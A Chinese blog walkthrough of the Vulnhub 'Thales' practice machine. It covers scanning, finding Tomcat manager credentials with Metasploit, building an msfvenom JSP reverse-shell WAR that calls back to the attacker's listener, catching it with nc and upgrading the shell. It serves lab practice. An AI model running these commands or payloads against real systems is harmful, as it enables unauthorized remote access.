当前位置: 首页 > news >正文

Vulnhub Thales靶机复现详解

一、靶机安装

下载地址:https://download.vulnhub.com/thales/Thales.zip

下载完成后使用VM打开出现下述弹窗点击重试即可

二、主机发现

查看靶机网络连接方式,不是net改成net。

使用kali的nmap扫描,第一遍没有扫出来,我们更改它的网卡接口配置。

nmap -O 192.168.29.1/24

在开机的时候,出现第一张图的时候鼠标点进去按shift,出现第二张图,按e第三张。

往下找找到这个位置,添加下列代码后Ctrl X。进入shell界面。

rw single init=/bin/bash

更改/etc/netplan目录下的一个yaml后缀的文件,修改内容如下后重启。

cd /etc/netplan			//这个shell里面/不使所以一级一级cd
nano 00-installer-config.yaml //输入00后tab补齐即可这里面i不能使
//Ctrl O 回车    Ctrl X 即可退出

靶机重启后使用nmap重新扫描

nmap -O 192.168.29.1/24

三、端口扫描

使用nmap扫描端口,只开启了22,8080.

nmap -A -p- 192.168.29.137

四、目录扫描

目录扫描出来几个重定向的还有一部分400。

gobuster dir -u http://192.168.29.137:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

五、web渗透

访问已知8080端口,中间件使用的是Tomcat。

在kali里面查找Tomcat相关的漏洞。

msfconsole
search tomcat login

告诉了我们有什么漏洞怎么使用,

set rhosts 192.168.29.137
run

用户名 tomcat 密码 role1尝试登录。

这里可以上传war文件,去开立生成一个反弹shell文件。

 msfvenom  -p java/jsp_shell_reverse_tcp LHOST=192.168.29.128 LPORT=9999 -f war -o shell.war

这里的ip时监听机的ip端口是监听端口。

上传后使用kali监听点那个上传的文件名(框内的),连接到了以后不是一个交互的。

nc -lvvp 9999

执行下列命令是shell为一个可交互的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

暂且完结撒花✿✿ヽ(°▽°)ノ✿

http://www.dtcms.com/a/307168.html

相关文章:

  • 02 基于sklearn的机械学习-KNN算法、模型选择与调优(交叉验证、朴素贝叶斯算法、拉普拉斯平滑)、决策树(信息增益、基尼指数)、随机森林
  • 【JEECG】JVxeTable表格拖拽排序功能
  • C语言:逆序输出0到9的数组元素
  • LeetCode Hot 100 搜索旋转排序数组
  • 腾讯云市场排名
  • 借助 Wisdom SSH 的 AI 助手构建 Linux 开发环境
  • 2419.按位与最大的最长子数组
  • duiLib 自定义资源目录
  • 限流算法详解:固定窗口、滑动窗口、令牌桶与漏桶算法全面对比
  • P1036 [NOIP 2002 普及组] 选数
  • 结合C++红黑树与AI人工智能的应用
  • Linux 系统日志管理与时钟同步实用指南
  • TCP和UDP编程的主要区别
  • 当人生低谷无人帮助时,如何独自奏响人生乐章
  • Linux系统编程Day1-- Linux系统的概念,主要内容
  • 查看遥控器6通道(以及其他通道)的实际PWM值
  • 洛谷 P1601 A+B Problem(高精)普及-
  • Datawhale AI夏令营 大模型技术task3 稍稍提分
  • 密码学安全性简介
  • LLM—— 基于 MCP 协议(Stdio 模式)的工具调用实践
  • 从一开始的网络攻防(十三):WAF入门到上手
  • 疏老师-python训练营-Day30模块和库的导入
  • Mysql事务基础
  • 通俗易懂的解释G1垃圾收集器
  • 学习Markdown
  • vulhub-Thales靶场攻略
  • git的开发流程
  • # C语言:20250730学习(二级指针)
  • OneCode 3.0 快速视图在 DDD 领域模型中的应用研究
  • 「Linux命令基础」管理文件